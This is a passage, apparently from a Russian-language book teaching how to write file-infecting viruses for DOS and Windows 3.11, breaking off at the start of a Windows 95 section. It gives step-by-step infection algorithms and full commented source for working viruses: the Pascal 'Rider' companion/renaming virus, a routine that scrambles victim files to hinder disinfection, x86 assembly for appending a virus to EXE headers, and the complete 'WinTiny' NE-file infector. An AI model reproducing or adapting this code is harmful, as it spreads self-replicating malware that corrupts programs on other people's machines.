Parms:=Parms+’ ’+ParamStr(I);

{Ищем жертвы и заражаем их}

FindTarget;

TargetFile:=Copy(ParamStr(0),1,Length(ParamStr(0))−4)+’.EXE’;

{Ищем файл с именем стартового файла, но с расширением EXE}

FindFirst(TargetFile, AnyFile, DirInfo);

{Если такой файл найден, запускаем его на выполнение}

If DosError=0 Then

begin

SwapVectors;

Exec(GetEnv(’COMSPEC’),’/C ’+TargetFile+Parms);

SwapVectors;

end Else

{Если файл не найден, выходим,

не внося в программу изменений}

begin

WriteLn(#13#10, VirName, ’ by ’,Author);

WriteLn(’Какое−нибудь сообщение’);

end;

end.

Инфицирование методом переименования EXE-файла

Отличий в алгоритмах работы этих вирусов и их «коллег», создающих файл-спутник, не так уж много. Но, по всей видимости, заражение методом переименования несколько совершеннее – для излечения от вируса нужно не просто удалить COM-файл с кодом вируса, а немного помучаться и разыскать, во что же переименован EXE-файл с инфицированной программой.

1. Если в командной строке указаны параметры, сохранить их в переменную типа String для передачи инфицированной программе.

2. Найти EXE-файл-жертву.

3. Проверить, не присутствует ли в каталоге с найденным EXE-файлом-жертвой файл с таким же именем и с расширением, которое выбрано для инфицированной программы (например, OVL – программный оверлей).

4. Если такой файл присутствует, программа уже инфицирована – переходим к пункту 7.

5. Переименовать найденный файл-жертву (EXE) в файл с таким же именем, но с расширением, выбранным для инфицированной программы.

6. С помощью командного процессора скопировать файл, из которого получено управление, в файл с именем жертвы и расширением жертвы.

7. Найти в каталоге, из которого получено управление, файл с именем стартовой программы, но с расширением, выбранным для инфицированной – это и будет зараженная программа, которую в данный момент необходимо запустить на исполнение.

8. Если такой файл не найден, переходим к пункту 12.

9. Изменить расширение найденного файла на COM (ни в коем случае не на EXE, ведь в EXE-файле с таким именем находится вирусный код!).

10. Процедурой Exec загрузить и выполнить переименованный файл – то есть выполнить инфицированную программу.

11. Вернуть COM-файлу с инфицированной программой выбранное расширение, то есть превратить его опять в неисполняемый.

12. Вернуть управление в DOS.

Несколько слов о вирусе, листинг которого приведен ниже. Вирус Rider написан очень просто и доступно. За сеанс работы он заражает один EXE-файл в текущем каталоге. Сам процесс заражения также весьма прост: файл-жертва переписывается в файл с расширением OVL (оверлейный файл), а на его место с помощью командного процессора копируется вирусный код. При запуске происходит заражение только что найденного EXE-файла, затем вирусный код переименовывается в OWL, а OVL – в EXE, после чего оригинал запускается на исполнение. Когда оригинал отработал, происходит переименование в обратном порядке. С защищенного от записи диска программа не запустится, она выдаст сообщение, что диск защищен от записи.

В представленном здесь виде вирус легко обезвредить, достаточно просто переименовать OVL-файл обратно в EXE. Но, чтобы усложнить лечение, в вирусе может быть использован такой прием:

procedure MakeNot;

Var

Buf10: Array [1.10] of Byte;

Cicle: Byte;

begin

Seek(Prog, 0);

Reset(Prog);

BlockRead(Prog, Buf10, 10);

For Cicle:=1 To 10 Do Buf10[Cicle]:=Not Buf10[Cicle];

Seek(Prog, 0);

BlockWrite(Prog, Buf10, 10);

Close(Prog);

end;

При использовании этой процедуры надо учитывать, что заражаемая и запускаемая на исполнение программа должна быть связана с переменной Prog типа File, описанной в основном модуле. Суть процедуры состоит в том, что из заражаемой программы считываются 10 байт и кодируются операцией Not. EXE-программа становится неработоспособной. Запускать эту процедуру нужно не только перед прогоном оригинала, но и после него.

{ Name Rider }

{ Version 1.0 }

{ Stealth No }

{ Tsr No }

{ Danger 0 }

{ Attac speed Slow }

{ Effects No }

{ Length 4000 }

{ Language Pascal }

{ BodyStatus Packed }

{ Packer Pklite }

{$M 2048, 0, 0} { Stack 1024b, Low Heap Limit 0b,

High Heap Limit 0b }

{Используются модули Dos и System (модуль System автоматически

подключается к каждой программе при компиляции)}

Uses Dos;

Const

Fail=’Cannot execute ’#13#10’Disk is write−protected’;

{Расширения файлов, которые будем использовать}

Ovr=’.OWL’;

Ovl=’.OVL’;

Exe=’.EXE’;

Var

DirInfo : SearchRec;

Sr : SearchRec;

Ch : Char;

I : Byte;

OurName : PathStr;

OurProg : PathStr;

Ren : File;

CmdLine : ComStr;

Victim : PathStr;

VictimName : PathStr;

{Процедура для проверки диска на Read Only}

procedure CheckRO;

begin

Assign(Ren, #$FF);

ReWrite(Ren);

Erase(Ren);

If IOResult <> 0 Then

{Если диск защищен от записи, то ответ ’Access denied’}

begin

WriteLn(Fail);

Halt(5);

end;

end;

{Процедура прогонки оригинала}

procedure ExecReal;

begin

{Находим оригинал}

FindFirst(OurName+Ovl, AnyFile, DirInfo);

If DosError <> 0 Then

{Если не нашли}

begin

WriteLn(’Virus RIDER. Let’s go on riding!’);

WriteLn(’I beg your pardon, your infected file cannot be executed.’);

{Выход с DosError=Файл не найден}

Halt(18);

end;

{Переименовываем программу в OVL}

Assign(Ren, OurName+Exe);

ReName(Ren, OurName+Ovr);

{Переименовываем оверлей в EXE}

Assign(Ren, OurName+Ovl);

ReName(Ren, OurName+Exe);

{И запускаем его}

SwapVectors;

Exec(GetEnv(’COMSPEC’), ’/C ’+OurName+Exe+CmdLine);

SwapVectors;

{А теперь возвращаем все на место}

Assign(Ren, OurName+Exe);

ReName(Ren, OurName+Ovl);

Assign(Ren, OurName+Ovr);

ReName(Ren, OurName+Exe);

end;

{Процедура заражения}

procedure Infect;

begin

{Переименовываем жертву в OVL}

Assign(Ren, Victim);

ReName(Ren, VictimName+Ovl);

{Копируем тело вируса на место жертвы}

SwapVectors;

Exec(GetEnv(’COMSPEC’), ’/C COPY ’+OurProg+’ ’+Victim+’ >NUL’);

SwapVectors;

end;

{Процедура поиска жертвы}

procedure FindFile;

begin

{В текущем каталоге ищем EXE−файл}

FindFirst(’*.EXE’, AnyFile, DirInfo);

If DosError=0 Then

{И если он найден}

begin

{Запоминаем имя жертвы}

Victim:=DirInfo.Name;

{Запоминаем имя без расширения}

VictimName:=Copy(Victim, 1, Length(Victim)–4);

{Ищем оверлей с тем же именем}

FindFirst(VictimName+Ovl, AnyFile, Sr);

If DosError <> 0 Then Infect;

end;

end;

{Процедура инициализации переменных}

procedure Init;

begin

{Командная строка}

CmdLine:=’’;

{Полное имя нашей программы}

OurProg:=ParamStr(0);

{Имя нашей программы без расширения}

OurName:=Copy(ParamStr(0), 1, Length(ParamStr(0))–4);

For I:=1 To ParamCount Do

begin

{Запоминаем параметры}

CmdLine:=ParamStr(I)+’ ’;

end;

end;

{Основная подпрограмма}

begin

{А эту табличку запишем в код для тех,

кто распакует вирус и начнет в нем копаться}

If False Then

begin

WriteLn(#13#10 ’ ’);

end;

{Инициализируемся}

Init;

{Проверка диска на R/O}

CheckRO;

{Ищем и заражаем}

FindFile;

{Загружаем оверлей}

ExecReal;

end.

Вирусы, внедряющиеся в программу (Parasitic)

Эти вирусы являются самыми «хитрыми». Поскольку такой вирус внедряется в инфицируемую программу, это дает ему много преимуществ перед всеми вышеописанными вирусами: на диске не появляются лишние файлы, нет забот с копированием и переименованием, кроме того, усложняется лечение инфицированных файлов.

Стандартное заражение EXE-файлов

Стандартное заражение – заражение, при котором вирус внедряется в конец файла, изменяя заголовок так, чтобы после загрузки файла управление получил вирус. Принципиально действие такого вируса мало отличается от действия рассмотренного COM-вируса. Чтобы выяснить способы работы с EXE-файлами, рассмотрим следующий фрагмент программы:

;Читаем заголовок EXE−файла (точнее, только первые 18h байт,

;которых вполне достаточно)

ReadHeader:

mov ah,3Fh

mov dx,offset EXEHeader

mov cx,0018h

int 21h

;Устанавливаем в SI адрес считанного заголовка. В дальнейшем

;будем обращаться к заголовку, используя SI+смещение элемента

mov si,offset EXEHeader

;Получаем реальную длину файла, переместив указатель текущей

;позиции чтения/записи в конец файла

GetRealFSize:

mov ax,4202h

mov bx,Handle

xor cx,cx

xor dx,dx

int 21h

;Сохраним полученную длину файла

mov Reallen,dx

mov Reallen+2,ax

;Так как речь идет о стандартной процедуре заражения, нужно

;помнить, что все вышесказанное не должно затрагивать

;оверлейные файлы. Их длина, указанная в заголовке,

;меньше реальной, то есть эти файлы загружаются

;в память не полностью.

;Следовательно, если заразить такой файл, вирус попадет

;в незагружаемую часть.

;Сохраним в стеке реальную длину EXE−файла

push dx

push ax

;Рассчитаем размер EXE−файла в 512−байтных страницах и остаток

CompareOVL:

mov cx,0200h

div cx

;На данный момент в регистре AX находится число страниц

;(в каждой странице содержится 512 байт),

;а в регистре DX – остаток, образующий

;еще одну (неучтенную) страницу.

;Добавим эту страницу к общему числу страниц –

;если остаток не равен нулю, то

;увеличим число страниц

or dx,dx

jz m1

inc ax

m1:

;Будем считать пригодным для заражения

;стандартным способом файлы с длиной,

;полностью совпадающей с указанной в заголовке

cmp ax,[si+PartPag]

jne ExitProc

cmp dx,[si+PageCnt]

jne ExitProc

;Чтобы вирус смог вернуть управление

;зараженной программе, сохраним поля ReloSS,

;ExeSP, ReloCS, ExeIP из заголовка EXE−файла.

;Значения констант, используемых в программе,

;равны смещению соответствующего

;элемента в заголовке EXE−файла (Приложение А)

InitRetVars:

mov ax,[si+ReloSS]

mov oldss,ax

mov ax,[si+ExeSP]

mov oldsp,ax

mov ax,[si+ReloCS]

mov oldcs,ax

mov ax,[si+ExeIP]

mov oldip,ax

;Восстановим из стека реальную длину файла

;В данном случае она совпадает с длиной, указанной в заголовке

pop ax

pop dx

;Рассчитаем длину программы с вирусом, для чего прибавим

;к длине файла длину тела вируса

add ax,VIRSIZE ;VIRSIZE – длина тела вируса

adc dx,0

;Рассчитаем получившуюся длину (одна страница – 512 байт)

;и остаток в последней странице (так же,

;как рассчитывали длину файла без вируса)

mov cx,0200h

div cx

or dx,dx

jz new_len

inc ax

New_len:

;Внесем в заголовок новую длину файла

mov [si+PageCnt],ax

mov [si+PartPag],dx

;Прочитаем реальную длину файла.

;По ней будем рассчитывать новую

;точку входа в программу (адрес запуска)

Eval_new_entry:

mov dx,Reallen+2

mov ax,Reallen

;Рассчитаем новую точку входа.

;Точка входа в вирус должна находиться

;в начале его тела. Другими словами, нужно к длине файла

;прибавить смещение точки входа.

;Разделим длину на размер параграфа (10h)

mov cx,10h

div cx

;Получили число параграфов (AX) и остаток (DX – смещение

;вируса в последнем параграфе).

;Отнимем от числа параграфов в файле число

;параграфов в заголовке – получим сегмент входа в EXE−файл

sub ax,[si+HdrSize]

;Запишем новую точку входа в заголовок

mov [si+ReloCS],ax

mov [si+ExeIP],dx

;Замечание: можно было округлить полученное число,

;и вирус начинался бы с 0000h.

;Но этого делать не стоит.

;Естественно, все обращения к данным в этом вирусе

;должны быть нефиксированными, как и в любом другом вирусе.

;Вместо ”mov ax,ANYDATA” придется делать так:

; mov si,VIRSTART

; mov ax,[si+offset ANYDATA]

;где offset ANYDATA – смещение относительно начала тела вируса

;Стек поставим за тело вируса – байт на 100h. Потом обязательно

;вернем, иначе можно стереть заготовленные в стеке значения!

;Установим сегмент стека такой же, как и кода,

;а указатель на вершину стека –

;на 100h байт после тела вируса

mov [si+ReloSS],ax

mov ax,VIRSIZE+100h

mov [si+ExeSP],ax

;Теперь запишем заголовок в файл, не забыв и тело вируса.

;Рекомендуется писать сначала тело, а потом заголовок.

;Если тело вдруг не допишется,

;то файл испортим зря

UpdateFile:

;Запишем тело вируса

WriteBody:

;Установим указатель чтения/записи в конец файла

mov bx,Handle

xor cx,cx

xor dx,dx

mov ax,4202h

int 21h

;Запишем тело вируса в файл

mov ah,40h

mov cx,VIRSIZE

mov dx,offset VIRStart

int 21h

;Запишем заголовок

WriteHeader:

;Установим указатель чтения/записи в начало файла

mov ax,4200h

xor cx,cx

xor dx,dx

int 21h

;Запишем заголовок в файл

mov cx,0018h

mov ah,40h

mov dx,si

int 21h

Итак, вирус «поселился» в EXE-файле. А как после окончания работы вируса передать управление инфицированной программе? Вот процедура выхода из вируса:

CureEXE:

StackBack:

;Установим первоначальный указатель (сегмент и смещение) стека

mov ax,ds

;Прибавим 0010h, после чего в AX будет

;находится сегмент, с которого

;загружен программный модуль

add ax,10h

;Прибавим первоначальный сегмент стека

db @add_ax ;код ADD AX, дальше по аналогии

OldSS dw ? ;это значение было установлено

;при заражении

;Запретим прерывания, так как со стеком нельзя работать,

;пока и сегмент, и смещение не установлены в нужное значение

cli

;Установим сегмент стека (PSP+10h+OldSS)

mov ss,ax

;Установим первоначальный указатель (смещение) стека

db @mov_sp

OldSP dw ?

;Разрешим прерывания – опасный участок пройден

sti

;Подготовим значения в стеке для команды IRET

RetEntryPoint:

pushf

;Рассчитаем сегмент для кода по аналогии с сегментом стека

mov ax,DATASEG

add ax,10h

db @add_ax

OldCS dw ?

;Сохраним в стеке полученное значение (PSP+10h+OldCS)

push ax

;Сохраним в стеке смещение исходной точки входа

db @mov_ax

OldIP dw ?

push ax

;Запустим программу. В стеке находятся смещение

;точки входа, сегмент точки входа и флаги

iret

Внедрение способом сдвига

Инфицируемая программа размещается в файле после кода вируса, сдвигаясь на его длину, отсюда и название метода. Алгоритм работы вируса следующий:

1. Открыть файл, из которого получено управление.

2. Считать в буфер тело вируса.

3. Закрыть файл.

4. Найти файл-жертву (для данного типа вирусов лучше COM-файл, но можно и не слишком большой EXE – это связано с тем, что все тело инфицируемой программы считывается в память и ее может не хватить, если эта программа слишком большая).

5. Открыть файл-жертву.

6. Проверить файл на повторное заражение (здесь могут быть варианты, но чаще всего используется сигнатура).

7. Если файл уже инфицирован, перейти к пункту 3.

8. Считать в буфер все тело программы.

9. Записать в начало файла тело вируса из буфера.

10. Дописать в файл после тела вируса тело программы из буфера. Длина программы увеличивается на длину вируса.

11. Закрыть файл-жертву.

12. Открыть файл, из которого стартовали.

13. Считать в буфер тело инфицированной программы, расположенное в файле после тела вируса.

14. Создать на диске временный файл с расширением COM или EXE (в зависимости от того, какой тип программ заражается).

15. Записать в этот файл тело программы из буфера.

16. Закрыть созданный файл.

17. Процедурой Exec запустить созданный файл на исполнение – выполнится инфицированная программа.

18. После завершения работы программы созданный файл удалить.

19. Вернуть управление в DOS.

Вирусы – это хорошая гимнастика для ума, хотя многие думают, что написать вирус на языке высокого уровня весьма трудно. Это не совсем так. Писать на языке Pascal довольно легко, правда величина полученного кода вызывает благоговейный трепет.

Внедрение способом переноса

Вирусы данного типа размножаются следующим образом. Из инфицируемой программы от начала файла считывается часть кода, по длине равная длине вируса. На освободившееся место вписывается вирус, а оригинальное начало программы переносится в конец файла. Отсюда и название метода – «метод переноса». Есть и другие варианты. Иногда, например, начало программы записывается в середину файла, а середина переносится в конец, чтобы еще сильнее все запутать. Превосходство данного метода над другими описанными в том, что инфицированная программа исполняется в том же виде, в каком она была до заражения, из файла с тем же именем и расширением. То есть программы, проверяющие себя на предмет заражения вирусом, его не замечают. Корректно исполняются и такие программы, которые ищут свои файлы конфигурации с именами:

ИМЯ_И_ПУТЬ_К_САМОЙ_ПРОГРАММЕ +.INI

Недостаток данного метода проявляется при сбоях в работе компьютера. Если при исполнении инфицированной программы компьютер «повиснет» или произойдет перезагрузка системы, инфицированная программа окажется «чистой», то есть без вируса. Но, во-первых, «кто не рискует, тот не пьет шампанского», а во-вторых, программы виснут редко. Алгоритм работы такого вируса следующий:

1. Открыть файл, из которого получено управление.

2. Считать в буфер тело вируса.

3. Закрыть файл.

4. Найти файл-жертву.

5. Открыть файл-жертву.

6. Проверить файл на повторное заражение (здесь могут быть варианты, но чаще всего используется сигнатура).

7. Если файл уже инфицирован, перейти к пункту 3.

8. Считать в буфер из начала найденного файла фрагмент программы, по длине равный телу вируса.

9. Записать в начало файла тело вируса из буфера.

10. Дописать в конец файла считанное начало программы из буфера. Длина программы увеличилась на длину вируса.

11. Закрыть файл-жертву.

12. Открыть файл, из которого стартовали.

13. Считать в буфер начало инфицированной программы, расположенное в конце файла.

14. Записать считанное начало программы поверх кода вируса в начало файла.

15. Сократить файл до его оригинальной длины (то есть удалить часть кода, по длине равную длине тела вируса, в конце файла).

16. Закрыть файл.

17. Процедурой Exec запустить стартовый файл (ParamStr(O)) на исполнение – выполнится инфицированная программа.

18. После завершения работы программы опять открыть стартовый файл.

19. Записать в начало файла тело вируса, а оригинальное начало программы опять переместить в конец файла.

20. Закрыть файл.

21. Вернуть управление в DOS.

Глава 3

Вирусы под Windows

В этой главе рассказано о вирусах, заражающих файлы в операционной среде Windows. Наиболее подробно рассмотрены вирусы под Windows 95. Представлены исходные тексты вирусов с подробными комментариями. Также приведены основные сведения о запускаемых файлах программ под Windows, их структуре, отличиях от файлов DOS.

Вирусы под Windows 3.11

В исполняемом файле Windows содержатся в различных комбинациях код, данные и ресурсы. Ресурсы – это BIN-данные для прикладных программ. Учитывая возможность запуска файла из DOS, формат данных должен распознаваться обеими системами – и DOS, и Windows. Для этого все исполняемые файлы под Windows содержат два заголовка. Первый заголовок (старый) – распознается DOS как программа, выводящая на экран «This program requires Microsoft Windows». Второй заголовок (NewEXE) – для работы в Windows (см. приложение).

Как же заразить Windows NewEXE? На первый взгляд файл формата WinNE – обычный EXE-файл. Начинается он с заголовка EXE для DOS и программы (STUB), которая выводит сообщение «This program requires Microsoft Windows».

Если в EXE-заголовке по смещению 18h стоит число 40h или больше, значит по смещению 3Ch находится смещение заголовка NewEXE. Заголовок NewEXE начинается с символов «NE». Далее идет собственно заголовок, в котором содержатся различные данные, в том числе адреса смещений таблиц сегментов, ресурсов и другие. После заголовка расположена таблица сегментов, за ней – все остальные таблицы, далее размещены собственно сегменты с кодом.

Итак, порядок действий:

1. Адрес заголовка NewEXE (DOS_Header+3Ch) уменьшается на 8.

2. Заголовок NewEXE сдвигается на 8 байт назад.

3. В таблицу сегментов добавляется новый элемент, описывающий сегмент вируса.

4. CS: IP NewEXE изменяется на начало вирусного кода, само тело вируса дописывается в конец файла.

Для загрузки в память (надо перехватить вектор INT 21 h из-под Windows) необходимо использовать функции DPMI (INT 31h). Действия: выделение сегмента, изменение его прав доступа, запись вируса, перехват прерывания 21h (делается с помощью функций DPMI).

В качестве примера приведен полный исходный текст вируса под Windows. Принципы заражения такие же, как и при заражении обычного EXE-файла, – изменяется структура EXE-файла и среда, в которой он работает.

.286

.MODEL TINY

.CODE

;Сохраним регистры и флаги

pushf

pusha

push ds

push es

;Проверим, доступен ли DPMI. Если доступен,

;продолжаем, если нет – выходим

mov ax,1686h

int 2Fh

or ax,ax

jz dpmi_exist

;Восстановим регистры и флаги

exit:

pop es

pop ds

popa

popf

;Запустим программу−носитель

db 0EAh

relocIP dw 0

relocCS dw 0FFFFh

dpmi_exist:

;Выделим линейный блок памяти, используя DPMI

mov ax,0501h

mov cx,0FFFFh

xor bx,bx

int 31h

;Сохраним индекс и 32−битный линейный адрес

;полученного блока памяти в стеке

push si

push di

push bx

push cx

;Создадим дескриптор в таблице LDT

xor ax,ax

mov cx,1

int 31h

;В поле адреса полученного дескриптора

;установим адрес нужного блока памяти

mov bx,ax

mov ax,7

pop dx

pop cx

int 31h

;В поле предела полученного дескриптора

;установим размер выделенного блока памяти

mov ax,8

mov dx,0FFFFh

xor cx,cx

int 31h

;В поле прав доступа полученного дескриптора установим значение,

;соответствующее сегменту данных, доступному для чтения и записи

mov ax,9

mov cl,11110010b

xor ch,ch

int 31h

;Загрузим селектор в регистр DS. После этого регистр DS будет

;указывать на выделенный блок памяти

mov ds,bx

;Читаем из стека и сохраняем в памяти

;индекс полученного блока памяти

pop [mem_hnd+2]

pop [mem_hnd]

;Получим текущую DTA

mov ah,2Fh

int 21h

mov [DTA],bx

mov [DTA+2],es

;Найдем первый EXE−файл (маска *.EXE)

mov ah,4Eh

xor cx,cx

mov dx,OFFSET wild_exe

push ds

push cs

pop ds

int 21h

pop ds

;Если файл найден, перейдем к заражению, иначе освободим

;выделенную область памяти и запустим программу−носитель

jnc found_exe

;Освободим выделенную область памяти

call free

;Запустим программу−носитель

jmp exit

;Перейдем к следующему файлу – этот не подходит

close_exe:

;Закроем файл

mov ah,3Eh

int 21h

;Найдем следующий файл

mov ah,4Fh

int 21h

;Если файл найден, перейдем к заражению, иначе освободим

;выделенную область памяти и запустим программу−носитель

jnc found_exe

;Освободим выделенную область памяти

call free

;Запустим программу−носитель

jmp exit

;Файл найден, проверим его на пригодность к заражению

found_exe:

;Откроем файл для чтения и записи

push ds

lds dx,DWORD PTR [DTA]

add dx,1Eh

mov ax,3D02h

int 21h

pop ds

;Прочтем старый заголовок

mov dx,OFFSET old_hdr

mov bx,ax

mov cx,40h

mov ah,3Fh

int 21h

;Проверим сигнатуру, это EXE−файл?

cmp WORD PTR [old_hdr],”ZM”

jne close_exe

;Проверим смещение таблицы настройки адресов.

;Если значение больше 40h, то это не обычный EXE−файл.

;Не будем сразу делать вывод,

;что это NewEXE, потому что это может оказаться

;PE−, LE−, LX−executable или другой

;(PE−executable описан в разделе,

;посвященном Windows 95, остальные

;типы EXE−файлов в этой книге не рассматриваются)

cmp [old_hdr+18h],WORD PTR 40h

jb close_exe

;Перейдем ко второму заголовку (может быть, это NewEXE?):

;Переводим указатель к смещению, обозначенному в поле 3Ch

mov dx,WORD PTR [old_hdr+3Ch]

mov cx,WORD PTR [old_hdr+3Eh]

mov ax,4200h

int 21h

;Прочитаем второй заголовок

mov dx,OFFSET new_hdr

mov cx,40h

mov ah,3fh

int 21h

;Проверим сигнатуру, если сигнатура ”NE”, то это NewEXE−файл

cmp WORD PTR [new_hdr],”EN”

jne close_exe

;Проверим, для Windows ли предназначен этот файл. Если да, будем

;заражать, иначе переходим к следующему файлу

mov al,[new_hdr+36h]

and al,2

jz close_exe

;Переместим указатель чтения/записи в таблицу сегментов,

;к элементу, обозначающему сегмент точки старта программы.

;Для этого прочтем значение регистра CS при запуске

;этого EXE−файла

mov dx,WORD PTR [new_hdr+16h]

;По номеру сегмента вычислим положение соответствующего ему

;элемента в таблице сегментов

dec dx

shl dx,3

;К результату прибавим смещение таблицы сегментов и смещение

;заголовка NewEXE

add dx,WORD PTR [new_hdr+22h]

add dx,WORD PTR [old_hdr+3ch]

mov cx,WORD PTR [old_hdr+3eh]

;Переместим указатель чтения/записи

mov ax,4200h

int 21h

;Прочтем из таблицы сегментов смещение логического сектора

mov dx,OFFSET temp

mov cx,2

mov ah,3Fh

int 21h

;Вычислим смещение сегмента, опираясь на значения

;смещения логического сектора и множителя секторов

mov dx,WORD PTR [temp]

mov cx,WORD PTR [new_hdr+32h]

xor ax,ax

cal_entry:

shl dx,1

rcl ax,1

loop cal_entry

;Переместим 16 старших бит 32−битного результата в регистр CX

mov cx,ax

;Прибавим к результату смещение стартового адреса (IP)

add dx,WORD PTR [new_hdr+14h]

adc cx,0

;Переместим указатель позиции чтения/записи на точку старта

;программы – результат вычисления

mov ax,4200h

int 21h

;Считаем первые 10 байт после старта программы

mov dx,OFFSET temp

mov cx,10h

mov ah,3Fh

int 21h

;Проверим, заражен ли файл. Если считанные 10 байт в точности

;совпадают с первыми 10−ю байтами нашего вируса, файл заражен.

;В этом случае переходим к поиску следующего, иначе – заражаем

mov si,OFFSET temp

push cs

pop es

xor di,di

mov cx,8

cld

rep cmpsw

jne ok_to_infect

jmp close_exe

;Приступим к заражению

ok_to_infect:

;Переместим NE−заголовок на 8 байт ближе к началу файла.

;Исправим соответствующие поля старого заголовка

sub WORD PTR [old_hdr+10h],8

sub WORD PTR [old_hdr+3ch],8

sbb WORD PTR [old_hdr+3eh],0

;Исправим значения таблиц в новом заголовке, чтобы переместились

;только заголовок и таблица сегментов (без остальных таблиц)

add WORD PTR [new_hdr+4],8

add WORD PTR [new_hdr+24h],8

add WORD PTR [new_hdr+26h],8

add WORD PTR [new_hdr+28h],8

add WORD PTR [new_hdr+2ah],8

;Сохраним оригинальные значения точек входа CS и IP

push WORD PTR [new_hdr+14h]

pop [host_ip]

push WORD PTR [new_hdr+16h]

pop [host_cs]

;Добавим еще один сегмент в таблицу сегментов и установим

;точку входа на его начало

mov WORD PTR [new_hdr+14h],0

inc WORD PTR [new_hdr+1ch]

push WORD PTR [new_hdr+1ch]

pop WORD PTR [new_hdr+16h]

;Переместим указатель чтения/записи в начало файла

;(к старому заголовку)

xor cx,cx

xor dx,dx

mov ax,4200h

int 21h

;Запишем старый заголовок, так как модифицированы

;некоторые поля его копии в памяти

mov dx,OFFSET old_hdr

mov cx,40h

mov ah,40h

int 21h

;Переместим указатель чтения/записи на начало нового

;заголовка (его переместили на 8 байт к началу файла)

mov dx,WORD PTR [old_hdr+3ch]

mov cx,WORD PTR [old_hdr+3eh]

mov ax,4200h

int 21h

;Запишем новый заголовок, так как в его копии

;в памяти некоторые поля модифицированы

mov dx,OFFSET new_hdr

mov cx,40h

mov ah,40h

int 21h

;Переместим указатель чтения/записи на 8 байт

;вперед – к началу таблицы сегментов

xor cx,cx

mov dx,8

mov ax,4201h

int 21h

;Рассчитаем размер таблицы сегментов и считаем ее в память

mov dx,OFFSET temp

mov cx,WORD PTR [new_hdr+1ch]

dec cx

shl cx,3

push cx

mov ah,3Fh

int 21h

;Переместим указатель чтения/записи назад, к позиции

;за 8 байт перед началом таблицы сегментов

pop dx

push dx

add dx,8

neg dx

mov cx,–1

mov ax,4201h

int 21h

;Запишем таблицу сегментов в файл, но не на ее прежнее место,

;а на 8 байт ближе к началу файла

mov dx,OFFSET temp

pop cx

mov ah,40h

int 21h

;Прочтем текущую позицию чтения/записи (конец таблицы сегментов)

xor cx,cx

xor dx,dx

mov ax,4201h

int 21h

;Сохраним в стеке текущую позицию чтения/записи

push dx

push ax

;Получим длину файла, переместив указатель

;чтения/записи в конец файла

xor cx,cx

xor dx,dx

mov ax,4202h

int 21h

;Сохраним в стеке длину файла

push dx

push ax

;Вычислим и сохраним длину логического сектора

mov cx,WORD PTR [new_hdr+32h]

mov ax,1

shl ax,cl

mov [log_sec_len],ax

;Вычислим длину файла в логических секторах

mov cx,ax

pop ax

pop dx

div cx

;Учтем неполный сектор. Если в результате получился

;остаток, увеличим количество секторов

or dx,dx

jz no_rmd

inc ax

no_rmd:

;Заполним поля нового элемента в таблице сегментов

mov [my_seg_entry],ax

mov [my_seg_entry+2],OFFSET vir_end

mov [my_seg_entry+4],180h

mov [my_seg_entry+6],OFFSET vir_end

;Восстановим из стека позицию в файле конца таблицы секторов

pop dx

pop cx

;Переместим указатель чтения/записи к этой позиции

mov ax,4200h

int 21h

;Запишем в конец таблицы новый элемент

mov dx,OFFSET my_seg_entry

mov cx,8

mov ah,40h

int 21h

;Скопируем тело вируса в область памяти, которую выделили

;в начале программы, для изменений в нем. В защищенном режиме

;(а работаем именно в нем), нельзя производить запись в сегмент

;кода. Если по какой−то причине нужно произвести изменение

;в сегменте кода, создается алиасный дескриптор данных

;(дескриптор, содержащий то же смещение и длину,

;что и сегмент кода), и дальнейшая работа ведется с ним.

;В данном случае просто воспользуемся выделенным блоком памяти

push ds

pop es

push cs

pop ds

xor si,si

mov di,OFFSET temp

mov cx,OFFSET vir_end

cld

rep movsb

push es

pop ds

;Инициализируем адрес точки входа

mov si,OFFSET temp

mov WORD PTR [si+relocIP],0

mov WORD PTR [si+relocCS],0FFFFh

;Переместим указатель чтения/записи на новую точку входа

mov ax,[my_seg_entry]

mov cx,[log_sec_len]

mul cx

mov cx,dx

mov dx,ax

mov ax,4200h

int 21h

;Запишем тело вируса в файл

mov dx,OFFSET temp

mov cx,OFFSET vir_end

mov ah,40h

int 21h

;Инициализируем поля перемещаемого элемента

mov WORD PTR [reloc_data],1

mov BYTE PTR [reloc_data+2],3

mov BYTE PTR [reloc_data+3],4

mov WORD PTR [reloc_data+4],OFFSET relocIP

;Запишем перемещаемый элемент

mov dx,OFFSET reloc_data

mov cx,10

mov ah,40h

int 21h

;Закроем файл

mov ah,3Eh

int 21h

;Освободим выделенный блок памяти

call free

;Запустим программу−носитель

jmp exit

;Процедура, освобождающая выделенный блок памяти

free PROC NEAR

mov ax,0502h

mov si,[mem_hnd]

mov di,[mem_hnd+2]

int 31h

ret

free ENDP

;Маска для поиска файлов

wild_exe DB ”*.EXE”,0

;Имя вируса

DB ”WinTiny”

;Идентификатор, указывающий на конец инициализированных данных

vir_end:

;Индекс выделенного блока памяти

mem_hnd DW ?

DW ?

;Адрес текущей DTA

DTA DW ?

DW ?

;Место для хранения старого заголовка

old_hdr DB 40h dup (?)

;Место для хранения нового заголовка

new_hdr DB 40h dup (?)

;Длина логического номера сектора

log_sec_len DW ?

;Новый элемент в таблице сегментов

my_seg_entry DW ?

DW ?

DW ?

DW ?

;Перемещаемый элемент

reloc_data DW ?

DB ?

DB ?

DW ?

;Значение оригинальной точки входа

host_cs DW ?

host_ip DW ?

;Область памяти для использования

temp DB ?

END

Вирусы под Windows 95

Формат Portable Executable используется Win32, Windows NT и Windows 95, что делает его очень популярным, и в будущем, возможно, он станет доминирующим форматом EXE. Этот формат значительно отличается от NE-executable, используемого в Windows 3.11.

Вызов Windows 95 API

Обычные приложения вызывают Windows 95 API (Application Program Interface) используя таблицу импортируемых имен. Когда приложение загружено, данные, необходимые для вызова API, заносятся в эту таблицу. В Windows 95, благодаря предусмотрительности фирмы-производителя Microsoft, модифицировать таблицу импортируемых имен невозможно.

Эта проблема решается непосредственным вызовом KERNEL32. То есть необходимо полностью игнорировать структуру вызова и перейти непосредственно на точку входа DLL.

Чтобы получить описатель (Handle) DLL/EXE, можно использовать вызов API GetModuleHandle или другие функции для получения точек входа модуля, включая функцию получения адреса API GetProcAddress. Как вызывать API, имея возможность вызывать его и в то же время такой возможности не имея? Ответ: вызывать API, расположение которого в памяти известно – это API в файле KERNEL32.DLL, он находится по постоянному адресу.

Вызов API приложениями выглядит приблизительно так:

call API_FUNCTION_NAME

например:

call CreateFileA

После компиляции этот вызов выглядит так:

db 9Ah ;инструкция call

dd ???? ;смещение в таблице переходов

Код в таблице переходов похож на такой:

jmp far [offset into import table]

Смещение в таблице импортируемых имен содержит адрес диспетчера для данной функции API. Этот адрес можно получить с помощью GetProcAddress API. Диспетчер функций выглядит так:

push function value

call Module Entrypoint

